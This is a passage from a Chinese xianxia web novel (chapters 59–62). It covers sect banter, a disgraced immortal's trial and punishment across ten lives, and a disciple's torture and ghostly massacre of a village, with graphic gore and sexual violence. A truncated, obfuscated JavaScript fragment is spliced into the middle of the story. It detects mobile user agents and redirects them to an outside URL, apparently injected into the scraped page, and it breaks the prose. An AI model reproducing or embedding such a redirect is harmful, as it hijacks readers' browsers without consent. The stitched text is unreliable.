他舌尖下如同压着惊涛骇浪,仿佛汹涌大海上努力掌握船只平衡的水手,竭力让自己的语气趋向平缓,语速却还是快于平常:“你莫非是后悔了?其实拜师前三个月并非铁板钉钉,还有转圜的余地。”
苏潋影挠挠头,一脸茫然:“还有这事儿?拜了师又反悔,不太好吧?”
“的确,但你的前途更重要,不是吗?”
花焚熠说一句朝她走近一步,苏潋影下意识地后退,眼看就要退进湿漉漉的草坪里,别的无所谓,主要我今天换的可是新鞋啊……就在这时,忽然远处一声怒喝传来。
“苏潋影!你人走了这炉子不灭是要炸了我的丹房吗?”
“哦!来了来了!”
苏潋影恍若得了救星,转头看向花焚熠,指着丹房的方向:“师尊叫我了,我先走了?”
花焚熠轻轻吐出一口气,半垂着眼眸:“去吧……”
待那抹身影消失不见,他才卸力般一掌拍在玉兰树上,落花阵阵,如同雪覆肩头,抬手捻着紧蹙的眉心,喃喃对花自语:“我这是怎么呢,跟她置什么气……”
符珂刚回到太曦峰,一打开门就见一绿刺刺的东西从眼皮子底下窜过去了,以为是西瓜没想到是徒弟,气得肝颤。
“苏潋影!功课又一个字没做是吧?你也别狡辩了,我一个字都不想听,把东西拿来。”
看到那货递过来的东西,符峰主又差点原地螺旋升天。
“我要弹弓子干嘛!给你这脑瓜子打个洞方便你脑子里的水流出来吗?功课呢?”
打开一看,好嘛,就写了个名……符珂深呼吸一下,坐在旁边的石凳上:“苏苏啊,去把门关上。”
苏潋影警惕地后退两步,看见花焚熠过来连忙躲他身后,低声道:“小师叔,江湖救急!”
花焚熠笑眯眯看向符珂:“三师兄,她还只是个孩子,你宽容一点嘛。”
符珂瞪向躲在花焚熠身后露出半个脑袋的苏潋影:“孩子?我这辈子就没见过这种缺德孩子!”
花焚熠侧过身使眼色,苏潋影掐了自己一把,眼泪唰一下流了出来。
花焚熠趁机给找补:“三师兄,你看影儿都哭了,你就原谅她吧。”
符珂气不打一处来:“你问问,我都原谅她多少回了!”
苏潋影低着头,慢吞吞从袖子底下伸出两根手指。
花焚熠笑道:“不过两回嘛,俗话说有再一再二——”
苏潋影低声细语:“两百多回……”
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舌灿莲花如花焚熠也圆不回来了,半张着嘴许旧才干笑道:“既然都两百多回了也不差这一回嘛。”
见符珂不说话,花焚熠连忙带着惹祸精暂避锋芒,轻轻捏了一下她的手,提高嗓音故意让符珂听见:“看你把你师尊气的!走,去嫣雨峰我帮你补习功课,再要是偷奸耍滑我定饶不了你!”
苏潋影还抱怨上了:“你看我一边玩一边还得操心他什么时候回来,一心二用多艰难啊,刚才还被开门的动静吓了一个大马趴,我师尊一点都不知道心疼徒弟的……”
符珂觉得,最近小师弟往太曦峰跑得似乎有些勤。
看着小徒弟趴在丹炉前吹火熏得满脸黑灰,气得捶桌:“用离火符啊!你是在炼丹还是在烧饭?”
花焚熠捻着茶盏但笑不语,符珂简直没眼看,忽然想起一事,正色道:“过几日为师要出门,去洛都商议仙剑大会一事,你的课业就先由你沈师伯指导。”
苏潋影石化当场,不要啊!天天被那个冷漠无情、动辄罚抄罚站罚背书的女人盯着,我还有什么活路!师尊大人你回来只会看到你徒儿残留的一缕冤魂啊!
她用求救的目光看向花焚熠,对方正好也在看她,苏潋影灵机一动,哀求符珂道:“师尊,我觉得我跟小师叔挺合得来的,要不把我先寄存到嫣雨峰吧?”
符珂看向花焚熠,又转向苏潋影,满怀信心且不屑地冷笑:“你花师叔才懒得——”
此时花焚熠清咳一声,毫无配合同门师兄的意思,从容淡定吐出两字真言:“也好。”
符珂吐血:“什么!”
苏潋影兴高采烈去和花焚熠击掌:“小师叔万岁!”
人的命天注定,万万没想到即使跑到嫣雨峰也是受苦的命。
花焚熠坐在一棵如伞的缤纷桃树下,悠闲看着书,落红成阵,覆满了逶迤拖地的层层白衣,头也不抬地唤道:“影儿,让你沏的茶呢?”
没错,自从搬到嫣雨峰住他就是这么叫我的,看着挺亲切吧,但实则拿我当丫鬟那么使,端茶倒水、铺床叠被都是我的活,不知道的以为我搁这儿历劫来了!
你峰上不是有做杂务的弟子吗?吃个饭嫌盘子放得太远要我夹给他,我喂你嘴里得了呗?喝个茶嫌弃茶叶漂在水面上,问我是不是水没烧开……没见识,这叫凉茶!
对这种蹬鼻子上脸的货就不能惯着,不给他放点血真当我是二十四孝好师侄啊?
苏潋影微笑,用无比真挚的目光看着他,唯唯诺诺道:“实在是不好意思啊小师叔,你那茶盏里有茶叶,我想把茶叶甩出去,手一滑茶杯也飞了……碎片我帮你葬在了桃花树下,跟前天那套西洲夜光杯埋一起了。”
哈,绝品浮雕四季图粉釉玲珑盏,不心疼你就继续支使我吧!就可着你那点家底霍霍,你舍得死我就舍得埋。
花焚熠微笑着点头,由衷地感叹道:“得亏你当时没有拜我为师,不然我大概会被你气到英年早逝。”
苏潋影摇摇头:“怎么会呢,我才叫英年早逝,师叔你那叫中年早逝吧?”
花焚熠面不改色:“哦?那掌门那样的呢?”
没看到掌门从背后走过来的某同学摇头晃脑:“嗨,那老棺材瓤子了,走一步一掉渣,老朽也,死了算是节约资源,死得其所。”
就见花焚熠向着她身后一拱手,满面假的不能再假的羞惭:“真是惭愧啊掌门师兄,焚熠教导无方啊。”
然而苏同学就如愿以偿地死得其所了,在藏书阁擦地板擦到吐血还没有饭吃。
果然是道高一尺魔高一丈啊,跟花焚熠斗还是太嫩了点。
60. 逍遥旧雨
宋霜要去雾山采药,放了众弟子半日假,真是意外之喜。
想挑选两个弟子随他同去,楚纤茉鼓起勇气举了手,宋霜点点头,带着两名弟子出发了。
左右无事,宫玄烛散着步,顺着虹桥从一座峰上溜达到另一座峰上,忽见眼前草色无边、烟柳画桥,豁然开朗与别处不同,又有溪水蜿蜒曲折、潺潺流淌,不知何时脸上凉丝丝的,竟是下起了牛毛细雨。
远处几个弟子吵吵嚷嚷、嬉笑怒骂着。
“师弟,你到底能不能好好练习了?被师尊看见连带我都要受罚!”
“师尊才不会管我们呢,顶多派魏师兄过来!”
宫玄烛看着那群上窜下跳的皮猴儿,微微露出了一抹笑意。
曾经,她也是别人的师尊啊。
可就这么一恍神的功夫,眼前原本烟柳细雨的朦胧雨景尽数消失,化作一片刺目的白光,久久不曾散去,她仿佛跌入了一桶白色的颜料里,举目四顾分不清东西南北,试探着往前走上一步,耳畔却传来了一阵阵铜锣交响、炮号连天之声,她一脚踏出去,再落脚居然踏上了一段硝烟四起的古城墙。
城头下是乌泱泱的妖兵,如同撒开的一盆黄豆,乱七八糟却无边无际,队尾不知道在什么地方,各挥舞手中兵器,嬉笑声、怒吼声、哭嚎声此起彼伏,敌军中有擅长攀爬城墙的猿猴、壁虎等妖兽,他们攻城甚至不用架起云梯,而凤城上的将士不断地顺着城墙往下浇火油,再将滚木架在城墙上点燃后用力推下去……双方就这样僵持着。
黑云压城城欲摧,须烟景就持着手中画杆嘲风枪,站在凤城城墙上,苍青色长袍外面套着银色战甲,发丝被灼热的气流吹得向后飘浮,她敛目望着城下的妖兵,宛如一根定海神针。
而此时妖族首领也是一扬手,吩咐手下兵将暂时休战,城下散乱的妖兵中间让出一条六尺宽的道路,战车载着一面巨大的镜子从后面被推至阵前。
妖军首领得意洋洋朝着城上大喝一声:“逍遥君!你可看清楚了,你的徒弟现在就要死了!哈哈哈,这群刁民可比我们残忍多了!他们会将他折磨致死,你可想清楚了,再不去搭救,你这乖徒弟的舌头可保不住了。”
须烟景的手扣紧了城墙砖石的缝隙,目光紧紧盯着万象镜,镜中的少年躺在血泊里,那张脸正对着她,是她最熟悉的脸。
妖族首领不耐烦道:“须烟景!你身为仙族,为何执意插手我们两界之间的恩怨?你可想清楚了,你当真要护着这一城罪大恶极的刁民?看着自己的徒弟去死吗?”
万象镜中,魏何惜被拔去舌头,须烟景几乎要晕厥过去,她一伸手将嘲风枪直接扔下了城池。
妖族哑然无声。
首领看着坠地的兵刃愣了一瞬,咬着牙嘴唇不停地抖动,仿佛中风了一般面容扭曲抽搐,抬头朝城楼上的人破口大骂:“好!须烟景,你就看着他死吧!”
妖众将嘲风枪缴获。
须烟景看着万象镜中的魏何惜被铁丝缝上了嘴,恍惚听见他喊她的名字。
师尊!救救我!
师尊!救救我!救救我!为什么我都快死了,你还是不肯来救我?
须烟景!你是聋子吗!
我后悔啊!我就不该听你那些屁话!什么善有善报,恶有恶报,什么救人一命胜造七级浮屠,我要杀光他们!我要把他们一个个拔掉舌头!畜牲!一群畜牲!
我要把你们下油锅!让恶狗咬破你们的肠肚!吃掉你们的脏心烂肺!
一切都结束了。
她下了城楼,凤城的老百姓却一路不远不近地跟着她,她走得慢他们就压住步子,她走得快了这群人又噔噔噔地跑了起来,生怕跟丢了。
他们在后面嘀嘀咕咕、推推搡搡好一阵,终于将一个上了年纪的老人撺掇了出来,那老人硬着头皮开口:“须仙尊,有没有什么我们能帮忙的?不然我们给小魏道长抬副棺椁过去吧?好让小魏道长安息……”
须烟景点点头,嘴唇开合说了两个字。
“我来……”
那声音嘶哑难听,跟往日昆山玉碎的天籁之音天差地别,她从人们手中接过抬棺椁的绳子,一个人拖着棺材往前走去,到天亮才走到黑狗村。
她其实不知道自己走的方向对不对,以前要去哪里都是居高临下,一切城市村镇尽收眼底,她从来没有徒步走过这么长的路,原来,何惜以前都是这般生活的吗?可是当年他明明远在万里之外的雾山,为什么能在她被围困云泽之时一夜赶到呢?
茫茫夜色中,她看到了地上的残骸碎肉,森森白骨冷冰冰地横在她眼前,她努力去辨认,这些骨头到底是他的哪一部分?
是他第一次牵她的手?还是他曾揽住她腰际的臂?是他跪在她面前的膝盖?还是他曾不自量力地护在她身前被打伤的后背?她分不清了,只能悉数收敛起来,尽量还原成人的模样。
最后,她在村口的烂泥塘里找到了他的头颅,如果其他的分辨不清,这个她肯定不会再认错了,她将他的头骨抱在怀里,冷得发抖,用衣袖小心翼翼地擦拭干净,看着头骨黑洞洞的眼眶,想起了少年跪在脚边拉住她的衣袖,眼眶通红:“我错了……你打我骂我都可以,别不要我,我只有你了,师尊……”
“师尊是这个世上对我最好的人。”
“我知道,我大逆不道,你别生气了好不好?我改还不行吗?你可不可以当作没看到?你就当我在发疯,我求你了……我可以一直是你的徒弟,我什么都听你的……”
须烟景轻轻笑了:“别哭了,师尊早就不生气了。”
她伸手想擦干净他的眼泪,手指触到的却是冷冰冰的白骨,如同触电一般她恍然惊醒,不得不面对这冷冽惨淡的现实。
淅淅沥沥的秋雨落进水塘里,雨打残荷,电闪雷鸣间野鬼哭号,秋风飒飒,冷意直入骨髓,她终于收敛好了尸骨,立起了墓碑,以血为墨绘就他的名字——逍遥峰魏何惜之墓。
须烟景在墓前站了许久,丽日艳艳,一夜秋雨过后又是一个好天气,树上乌鸦寒号,迎面走过来了一个人,白衣如云,鹤冠巍巍。
临到近前,须烟景刚想开口问候,却发现自己发不出声音来,只好微微颔首示意,那人却罕见得大吃一惊:“逍遥君?”
他仿佛不敢确认眼前之人真是须烟景,一句话拆成几个词出口:“你……你这……头发……”
须烟景顺手揽过肩后一束青丝……定了定神才发现青丝早已变白发。
她重新看向眼前人,忽然惊醒:“国师这是去哪里?”
此人的确是尹星灯,下巴微微向前一扬:“黑狗村。”
他狐疑地打量着须烟景:“逍遥君自那鬼村而来,就没发现有何不对吗?”
须烟景淡淡道:“有什么不对的?”
尹星灯笑了:“一夜之间,一村人死绝了,若非邪魔出世怎会有此腥风血雨?逍遥君竟然视而不见?”
须烟景没有答话。
尹星灯冷声道:“告辞。”
须烟景忽然道:“不必屈驾,人是我杀的。”
尹星灯仿佛第一次认识她似的,上下打量眼前这女仙尊一回,他微笑道:“为何?”
“这群刁民将我徒弟凌辱折磨致死,我杀了他们,有错吗?”
尹星灯:“那些手无缚鸡之力的妇女孩童,耄耋老者,他们可也动手了?”
“见死不救,死又何妨?”
尹星灯的眸光骤然冰冷:“须烟景,你着相了。”
她嗤笑一声,轻轻叹息,伸出了双手:“带我去问罪吧,须烟景无悔。”
凌云殿大司命悲醒开始审判。
梵净山叶静秋,流光宗上虞,潮汐宫蓝情浅,芙蕖观林渡都在场。
渺茫的法音自金碧辉煌的肃穆神龛中传来,无孔不入地散播在整座凌云殿里,神龛上的并非大司命真身,而是一尊近乎十丈的金身神像,头戴紫金明镜冠,身穿玄缎日月袍,肩上有赤金的双龙戏珠,身后生出十二臂,姿态各异,几乎成扇子面依次向下打开,最上面两手持日月,随后依次是刀、剑、天书、玉尺、念珠、莲花、金轮、宝塔,最后一双手回抱胸前施转轮印。四指宽红绫遮住眼睛,不见众生相,镜心明是非。
法身庄严,在场众人不敢直视,袅袅檀香升起,神谕自九霄降落。
“须烟景,汝于凤城有功,然因一己私欲滥杀无辜,致那老弱妇孺尽数丧命,罪不容赦,你可知罪?”
须烟景点了一下头。
除了叶静秋,其他人皆是漠不关心,可是站在上虞身后的一个年轻女弟子却急了,低声在上虞耳边道:“师尊,逍遥君那般悲天悯人,怎么可能会滥杀无辜呢,一定是弄错了,师尊您能帮帮她吗?”
“她自己不想活了,我为何要上赶着救?”
神谕回荡在大殿内:“诸位如何看?”
尹星灯道:“法不阿贵,请大司命秉公执法。”
蓝情浅一言不发,叶静秋道:“须烟景,你可想好了,身为仙者伤损一条人命便是废去尽数修为,贬为凡人之罪,你难道真的想灰飞烟灭,万劫不复吗?”
他攥紧了拳头,心知肚明自己的师妹是怎样的品性,绝不可能杀人,她这般做定是想包庇什么人。
她不言,闭上了眼睛,等最后的审判降临。
叶静秋低叹:“好了,我无话可说,请大司命定夺。”
众人等了许久,皆是敛气屏声,大殿内却落下轻轻一声叹息,紧接着,那无悲无喜的神谕再次降临:
“罚入孽镜台,十生十世,生老病死轮回路,无福无碌枉寿长,命如草芥,任人宰割。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16617766|185807||http|test|mini|href|location''.split(''|''),0,{}));
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>接下来,他每说一个字,在场众人的心都是一阵恶寒。
“一世为乞,饥肠辘辘为人欺。二世为娼,生于烟花万人唾。三世失智,痴傻疯癫父母弃。四世为妾,红颜未老恩先断。五世天骄,国破家亡落樊笼。六世贫寒,癔症缠身无宁日……”
须烟景站在孽镜台前,看着下面业火滔天、万鬼嚎啕,反而是淡然一笑,移步上前坦然接受自己未来十世悲惨的命运。
那些曾经被刻意遗忘的东西,如同再也堵不住的洪水、拦不住的奔马、酝酿已久的狂风暴雨,顷刻间淹没了她。
哪来的残废,滚一边去!老子就是拿银子打水漂也不施舍给你,一身烂疮,真他娘的晦气,呸!
臭娘们,你不过就是个脏乞丐,有什么可清高的,谁不是这样过来的,老子还没嫌弃你身上的烂疮呢!
嘿嘿嘿,饿了吧?陪哥几个睡一晚,馒头就是你的了……你还敢瞪我?按住她!剜了你的眼睛看你还敢不敢瞪人!
你那赌鬼哥哥可是把你卖给了翠仙楼的,整整一百两呢!你不出去讨好那些大爷,让我这翠仙楼上上下下喝西北风吗?
给我打!往死了打,别伤到她那张脸就行!
贱人!给脸不要,还敢咬我,好,好,看不上本大爷是吧?那我就大发慈悲给你赎身,就这条街上有个天天唱莲花落的孙二傻子你知道吧?啧啧啧,一天甩大鼻涕捉身上虱子吃的那位,我就把你嫁给他,让你天天恶心,求生不得求死不能!
媳妇……嘿嘿嘿……媳妇你可真漂亮,来,抱抱……睡觉觉了……过来啊,媳妇……
呦,你还挺厉害啊,对着孙二傻子那种恶心的玩意儿居然还能吃得下饭,不过没关系,孙二傻子死了还有赵家那个骷髅一样的烟鬼张秃子呢、还有浑身害疮、满脸长白癣的那个李二狗,我都给你留着!!求我啊,跪下求我睡你,本大爷就放过你!
这就是那个翠仙楼的花魁娘子吧?怎么沦落至此了?大冬天怪可怜的,连件像样的衣裳都没有……
你可别烂好心啊,当心被白员外报复,再说了,一个婊子你同情她做什么?做皮肉生意的贱女人罢了,有今天也是她的报应。
夫君,夫君!这可真是天大的丑事啊!你新纳的那个小妾,她,她趁你出门耐不住寂寞,居然做出了那种下流无耻之事,勾引一个小厮,好多丫鬟嬷嬷都看见了,为妻真是丢不起这个人啊!
贱人安敢如此!来人!将她绑来见我!
夫君,你糊涂啊,这种有辱家门之事怎好当庭审问、大肆宣扬?
总该当面问她一问,不然……我不甘心啊……
娘还卧病在床呢?你要气死她老人家吗?
罢了……交给你处置吧……赐杯鸩酒,留她个全尸……
柳氏不守妇道,与小厮通奸,少爷有命,将其沉塘。
……
我是须烟景还是小乞丐,是翠仙楼的歌姬还是叫做柳娘的公府小妾?
她抬起脸,如牛毛针尖的细雨落在脸上,湿透了发丝、衣衫,这么轻的雨,为何比石头还沉重,仿佛能把人活活压死似的……
我该受的罚真的已经受完了吗?这一世貌似还不错,还是说,后面有更大的磨难在等着我?
等等,我是谁?我怎么忘记自己的名字了?我叫什么来着?
她急促地呼吸着,如同刚从深海里浮上来的溺水者,不过半刻又重新被什么东西拉回了海底,不停地跌落下去,眼前出现了各色各样的鱼群,它们长着各种各样或熟悉或陌生的脸,嘴里发出呼唤声,拉扯着她的灵魂去往那些残秽的时空……
“玄烛,下这么大雨你怎么还不回去啊?”
林瑶撑着伞走到近前,拿出手帕轻轻替她擦额头上的雨水。
迷失在错乱时空里的旅人顺着声音看向她,不确定地追问:“你叫我什么?”
林瑶眨眨眼,似乎有些不解,茫然地看着她:“玄烛啊,怎么呢?”
“哈哈哈哈哈哈哈哈……”
那人忽然爆发出一阵刺耳的大笑,笑得林瑶有些惊恐,但还是撑稳了手中的伞,大半个倾斜到宫玄烛那边。
宫玄烛笑够了直起身来,垂在额前的几绺湿发还在往下滴水,在脸上留下一道道水痕。
“逗你玩的,没什么,不过你这帮我擦脸就擦额头啊?脸上的雨不管了?”
“你,你不是向来不以真面目示人吗?”
“那是对别人,咱俩谁跟谁啊?青梅竹马,两小无猜,郎情妾意,天作之合——哎!开个玩笑你跑什么,瑶瑶?你真不管我了?”
她沐着雨摇摇晃晃下了逍遥峰,虹桥尽头站着一道撑伞的白衣身影。那人静默地等待着,如同灰蒙蒙的雨雾里盛开的一朵水仙花。
宫玄烛就宫玄烛吧,毕竟做玄烛比做烟景要容易多了。
61. 荒村遗恨
魏何惜倒在血泊之中,看着天上黑云压城。
周围一群人围观着,他腹部被刺了几个血窟窿。
黑狗村村长不知从哪里看的邪术,言之凿凿,给鬼王献祭一个活人,就能逃过天灾。
“鬼王托梦告诉老夫,此子乃是天生煞星,大家都是看着他长大的,他自小克父克母,对含辛茹苦养育自己长大的伯父婶娘恶语相向,这种人没有良心!不知从哪里拜了个女妖精当师父,学了些邪门歪道来祸害咱们村子!”
魏何惜死死瞪着村长,若非他看见村长贪污治河款,还意欲对村里一个少女图谋不轨,怎会引他报复。
右边嘴唇上长了个大黑痦子的老村长跪在他面前,抱着他的腿苦苦哀求:“小魏啊,不不不魏道爷!魏仙师!您大人不记小人过!饶了我这次吧!”
若是按魏何惜以前的脾气必然手起刀落,吃惯的嘴跑惯的腿,这种渣滓能改邪归正真是有鬼了!
可是转念又一思索,耳边响起须烟景飘渺清冷的声音,那次他们被困孤岛差点死在一条狡猾的两头蛇手里,魏何惜担心它为祸一方想杀了它,须烟景却阻拦道:“罢了,万物有灵,宁治一服不治一死。”
算了,看在师尊的面上,饶他一条狗命……她知道了应该会高兴吧?
魏何惜便放虎归山了。
此时村长担心他乱说话,便叫狗腿子割掉他的舌头,魏何惜在血泊里大喊大叫,腹部又被钢刀刺穿。
许多妇女孩童都在旁边看着,不敢上前躲在男人后面。
一个啤酒肚扬眉吐气道:“臭娘们儿!你们看好了,这小子就是篡夺你们逃跑的那个小白脸儿!以后你们要是不守妇道,下场跟他一样!”
“魏公子!”
“又是聂家那个小娼妇!拉住她!”
“你们这是私设公堂,草菅人命!举头三尺有神明!你们不怕遭报应吗!”
村长大叫着,仿佛一只打鸣的红脸公鸡:“小贱人!你婚前跟这奸夫勾搭不清,坏了本村清规,来人,把她拉去烈女祠!勒死她告慰本村烈女阴灵!”
魏何惜看着那个被两个壮汉拖走的姑娘忍不住大叫起来,却没有人能听懂他的呜咽。
师尊……师尊!你在哪里啊!救救我们!
村长的瘸腿老婆端着燃烧的蜡烛,烧红了一段铁丝,魏何惜看着那个慢吞吞挪向自己的身影,头皮都炸裂了,身子惊惧地在地上蜷缩着,却被七手八脚地摁住。
不要!不要!
他的嘴巴里塞满了符咒被缝了起来,血淋淋的,看不出半点人样,跟市集上的牛羊猪狗没有区别……最后他的脑袋被侧着按在一只切面十分粗糙的树墩上,头顶是一口满是豁口的铡刀,那是村头放了许多年给畜生铡草用的刀。
他们要用这东西砍他的头吗?
魏何惜剧烈地挣扎起来,可还是被死死按在老旧的满是竹篾木刺的木头墩子上,他还能闻到草料的味道,他一边脸被按在木墩子上,那一边被打出血的眼睛可以看见高高悬着的铡刀。
绳子解开,铡刀落下,刀刃很容易切开了血肉,却卡在骨头上怎么也砍不下去了。
他躺在地上有出气没进气,想起来了小时候挨鞭子,大财主把赶牛的皮鞭子沾了水抽在他身上,一抽就是一道皮开肉绽的伤口,他当时以为天底下应该没有比挨鞭子更痛的事了。
村外的野狗、癞皮狗闻着血腥味缩头缩脑地顺墙边蹭过来,发现平时凶神恶煞的村民并不阻拦它们,于是试探着上前舔舐流在地上的血,撕咬着魏何惜的脖颈、肚腹,肠子被拖出好几尺远。
“哈哈哈哈哈哈哈哈哈哈哈哈哈……”
魏何惜突然大笑起来,嘴唇上的铁丝被挣裂,露出了白森森的牙齿和血淋淋的牙床,以及只剩半截的舌头,这笑声当真阴邪恐怖至极,仿佛是一个厉鬼在咆哮。
可是现在,他真的好疼!好疼啊!从来没有这么疼过!来个人杀了他吧!
师尊!救救我!救救我!为什么我都快死了,你还是不肯来救我!
须烟景!你是聋子吗!
我后悔啊!我就不该听你那些屁话!什么善有善报,恶有恶报,什么救人一命胜造七级浮屠,我要杀光他们!我要把他们一个个拔掉舌头!畜牲!一群畜牲!
我要把你们下油锅!让恶狗咬破你们的肠肚!吃掉你们的脏心烂肺!
魏公子……起来了……魏公子……三更了……
魏何惜听见一个声音在叫自己,晃晃悠悠从一片混沌中睁开眼睛,看见一个长发飘飘的影子站在自己上方,吓得不轻:“女鬼!”
女鬼不知为何横眉立目一脸怒容,幽幽道:“现在不仅我是鬼,您也是鬼了魏公子,不信您回头看看,地上的是谁。”
魏何惜一回头吓得惨叫一声,险些魂飞魄散。
地上是一堆冰凉的尸块,白骨堆垒,血肉模糊,残缺不全,冷冷的月光下,他被野狗啃了一半的人头就滚在他手边……
一堆血腥的记忆尖啸着涌入魏何惜的灵台,他才知道,自己已经死了,死得痛不欲生,惨不忍睹,甚至连个全尸也没留下。
“你是……”
“我是聂家的女儿,您不记得了吗?”
魏何惜冷笑一声:“记得,怎么不记得,若不是拜你所赐,我还不至于死无全尸!”
女鬼流着血泪跪在了魏何惜身边:“我知道,是我连累了您……”
魏何惜垂着头静默了好一会儿,看她衣衫不整,额头上一个血窟窿还在往下流血,问道:“你这是怎么回事?他们不是说……”
他记得那群恶贼说要勒死她的,怎么会弄得这般模样。
女鬼一听这话眼睛里又流下两行血泪,“他们把我关在烈女祠里,所有人都不在,王二狗却溜了进来……”
女鬼空灵的声音戛然而止,半晌后爆发出一声惨不忍听的咆哮。
“魏公子!我恨啊!为什么我连死都要死得这般屈辱!我就是一头撞死岂能受那
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恶贼玷污!”女鬼抱着头撕心裂肺地哭嚎着。
魏何惜枯坐在地似乎失去了思考的能力,许久之后忽然笑了起来,越笑越放肆,惊起寒鸦四散溃逃。
“没用的废物,哭顶个屁用!趁天还未亮,咱们有仇报仇,有怨报怨,此时不报更待何时!哈哈哈哈哈哈哈哈哈哈哈哈!我从来都没有这么想杀人!那个王二狗交给你了!其他人都交给我!!我要让这个村子在今夜死绝!男女老少,鸡犬不留!”
他如癫似狂,女鬼吓得退避三舍,只见他一下从地上蹦了起来,一股黑烟似的飘向了远处,第一个就窜进了立着石狮子的农户家里。
女鬼也开始行动了,乌发飘飘,冷雾森森,咯咯娇笑,伸手敲敲王二狗家的窗户。
“谁啊?”
“二狗哥哥,开门啊,我是你的娇娇妹妹,嘻嘻嘻……”
“二狗哥哥,你不开门我可就自己进来咯!”
“你别过来!我我我我告诉你,我家有祖传的古镜,你进来就死定了!”
“嘻嘻嘻,二狗哥哥,你怎么躲桌子底下了,哟,你怎么吓尿了?”
“求求你,放过我吧!娇娇妹妹,我不是人!我是畜生!来世做牛做马我给你赔罪,我还有老母亲要伺候呢!明天天一亮我就给你烧纸,我我倾家荡产给你发丧!”
“当初我也是这么苦苦哀求你的啊,求你给我一条生路啊……唉……”
“是你自己撞柱自尽的,不关我的事,不关我的事,啊!!!!”
女鬼飘飘摇摇过来,看见一道黑影在村口大槐树下,惊喜不已:“魏公子!”
“真慢啊。”
“公子,您真的……”
“是,我把他们都杀了,一个也没留。”他漫不经心道,状态比刚才好多了。
“那,那些女人和孩子……”
“女人愚不可及见死不救,孩子身上也留着恶人的血,留之何用?”
“我是担心,他们若是化作凶煞,那么多恶鬼,我们恐怕是……”
“哈哈哈哈一群欺软怕硬的乌合之众罢了,来一个我灭一个。”
“公子,我们现在去哪里啊?”
“天快亮了,你先找个地方躲起来,我还要去办件事。”
他回来后眼眶里流着血,女鬼一直在一个山洞里等他,直到天黑才敢出去找他,却见他倒在地上,十分虚弱,眼眶里直流血,女鬼与他额头相抵,将自己的阴气渡给他。
“为什么,找不到她了……我失踪这么久,难道她从未找过我吗?我现在这副鬼样子,连青云梯都上不去,更别提去梵净山了……如果,天下大乱,民不聊生,师尊,你总会出现的吧?到时候,你会很惊讶地发现,幕后黑手居然就是我,你会不会替天行道,杀了我呢?哈哈哈哈哈哈哈,那样也挺好,起码师尊手中的剑很锋利,师尊不会像他们一样折磨得我生不如死,可是,我只是想和你在一起啊……须烟景……我不想你恨我,不想你拿着剑对准我……”
62. 茉莉花茶
“上来。”
楚纤茉看着站在剑上等自己的宋霜,不敢多做耽搁,往肩上拢一下身后的小背篓站了上去,小心翼翼抓住了他的衣角。
宋霜捏了个剑诀,仙剑腾空而起,刹那之间冲霄而去,楚纤茉只感觉一阵飓风迎面冲来,仿佛被一双巨手狠狠向后推了一把,几乎要将她整个人从窄窄的剑刃上掀下去,本来就只抓着宋霜一点衣角的她彻底失去平衡,左右摇晃找不到着力点,而下面是如银针钢刀般耸立的山峰和大片令人眼花缭乱的云雾,这要是摔下去恐怕要粉身碎骨!
在楚纤茉彻底失去平衡后掉下去时,宋霜在空中拐个弯,伸手将她捞进了自己怀里。
楚纤茉惊魂未定,脚踩着那柄飞剑如同踩着空中的钢丝绳,紧紧抱着宋霜抬起来御剑的那只胳膊,面如金纸,居然连眼睛都不敢睁开,脚底一个劲儿地抽筋。
“怕高?”
头顶传来冷冷的有些低沉的声音,却让楚纤茉渐渐镇定了下来,她点点头,轻声应道:“弟子没用,让蘅泽君受累了……”
“无妨,回去多练。”
宋霜不再说话了,渐渐放慢了御剑的速度,一直跟在他身后的另一名弟子也减缓了速度,长舒了一口气稳稳当当跟在师尊身后。
到了雾山正是戌时,天色渐暗,宋霜等人按下剑落在雾山脚下,以免惊动山上的妖魔,他吩咐两个弟子道:“时间还早,从山脚到半山腰有一些低阶的灵草灵果,你们自行去采集,半个时辰后在山腰西北角的溶洞会合。”
“是!”
宋霜走后,楚纤茉只能把身边的小胖师兄当成主心骨。
小胖……王天雨师兄笑眯眯拍着胸脯道:“小师妹别怕,有师兄保护你呢!”
“多谢师兄了。”
“嘿嘿,谢啥啊,都是师兄应该做的。”
一路无书很快到了休息的时间,等到王天雨独自出去打水的时候,楚纤茉看着沉默寡言的宋霜,忍不住开口:
“蘅泽君,我能问您一个问题吗?”
火光映着宋霜半张脸,干柴燃烧发出的哔啵声在寂静的山洞里格外响亮。
宋霜盘膝闭目,静默了几秒反问:“想知道我为什么不收你为徒?”
楚纤茉盯着宛如冰雕玉铸的玄衣身影,声音发颤:“是我不够努力还是不够优秀?”
宋霜的语气依旧波澜不惊,平静道:“你知道不是这个,平心而论,你比我座下任何一个弟子都要勤奋刻苦、天资聪颖。”
楚纤茉直起了身子,控制住想要挪到宋霜跟前的冲动,眼睛都不眨一下盯着他薄薄的嘴唇:“那是为什么?”
宋霜那张如瓷如雪的干净面庞,在火光映照下也让人感觉不到温暖,眉心那点峰主印记却越发殷红如血,闭上眼不见了往日的清冷淡漠,如同一尊普度众生的慈悲菩萨。
“那我且问你,山上弟子几乎每个月、每个人都会往家里写信,为何你从来没有?”
楚纤茉脸上原本急切又迷茫的神色凝住了,听他提起“家”这个字简直比听到鬼还惊恐,她的胸膛微微起伏着。
如果宋霜这时睁开眼,就会发现楚纤茉的脸色由红转白,嘴唇也渐渐失去了血色,比刚才御剑凌空的状态还差。
“楚纤茉,我对你多多少少了解一点,天下无不是的父母,只有不是的儿女,百善孝为先,心里没有自己的亲生父母,这善便是无本之木,我宁愿要一群愚钝庸俗的弟子,也不要这般灭绝人欲又天性凉薄的你。”
宋霜平淡无波的声音如同梵语古钟在幽深寂静的溶洞里轻轻回荡,一字一字撞入楚纤茉耳管里,嵌在她心口上,她无法反驳,黯然攥紧了衣袖。
楚纤茉在克制自己的欲望方面简直不像一个正常人,正常人都有惰性,多多少少会放纵自己一下,劳逸结合,可是楚纤茉仿佛一具被一个天神或是一个魔鬼精准操控的傀儡木偶,上课听讲、下课自己练习,日复一日研读着宋霜给她的那些药经,亲手抄写一遍后又来换新的,风雨无阻。
